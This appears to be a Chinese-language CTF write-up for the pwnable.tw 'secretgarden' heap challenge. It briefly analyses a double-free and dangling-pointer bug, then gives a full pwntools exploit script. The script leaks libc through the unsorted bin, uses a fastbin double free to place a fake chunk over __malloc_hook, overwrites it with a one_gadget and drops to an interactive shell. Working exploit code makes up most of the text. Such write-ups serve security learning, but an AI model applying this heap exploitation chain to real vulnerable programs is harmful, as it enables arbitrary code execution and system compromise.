【fast bin dup + house of spirit】
1.ida 分析
-
add函数没什么问题
-
remove函数,在free之前没有对结构体中的标志位进行检验,可以进行double free,free后没有置空,存在指针悬挂
-
2.思路
-
利用unstored bin泄露libc的地址
-
申请大chunk并释放
-
在我们从ustored bin中申请堆块的时候,如果申请的是small bin大小的堆块,那么会先从unstored bin中分割出符合size的堆块,放入到small bin中,再从中取出,取出的堆块中的内容其实是含有,main_area相关的地址的
// 放到对应的 bin 中,构成 bck<-->victim<-->fwd。 mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
-
-
通过利用double free实现house of spirit,打malloc_hook
-
由于没有检查堆块的存在位,正常释放chunk4,chunk5,看一下bin的情况
-
再次释放chunk4,就能得到两个bin指向同一个地址
-
第一次申请,能够修改last bin的fd指针为malloc_hook上方的fake chunk
-
再申请两次就能将chunk申请到fake chunk的上方,将malloc_hook改为onegadget
-
3.exp
from pwn import *
# challenge informatp.
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./secretgarden")
libc = ELF("./libc_64.so.6")
#p = process(myelf.path,env={"LD_PRELOAD" : libc.path})
p = process(myelf.path)
#p = remote('chall.pwnable.tw', 10203)
# local libc
local_libc_64 = ELF("/lib/x86_64-linux-gnu/libc.so.6")
local_libc_32 = ELF("/lib/i386-linux-gnu/libc.so.6")
# functp.s for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims :p.recvuntil(delims)
# misc functp.s
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
def add(size,name,color):
sla('Your choice ','1')
sla('Length of the name :',str(size))
sla('The name of flower :',name)
sla('The color of the flower :',color)
def remove(index):
sla('Your choice : ','3')
sla('Which flower do you want to remove from the garden:',str(index))
def show():
sla('Your choice : ','2')
def remove_all():
sla('Your choice : ','4')
def debug():
gdb.attach(p)
pause()
#unstored bin leak
add(0x100,'index0','index0') #0
add(0x10,'index1','index1') #1
remove(0)
add(0x10,'b'*7,'index2')
show()
libc_base = uu64(ru('\x7f')[-6:]) - local_libc_64.sym['__malloc_hook'] - 0x68
log.success('libc_base ==>'+hex(libc_base))
add(0x80,'padding','padding')
#double free
add(0x60,'index4','index4')
add(0x60,'index5','index5')
remove(4)
remove(5)
remove(4)
add(0x60,p64(libc_base + local_libc_64.sym['__malloc_hook']-0x23),'index6')
add(0x60,'index7','index7')
add(0x60,'index8','index8')
add(0x60,'b'*0x13+p64(libc_base+0x4f226),'system')
debug()
remove(0)
remove(0)
p.interactive()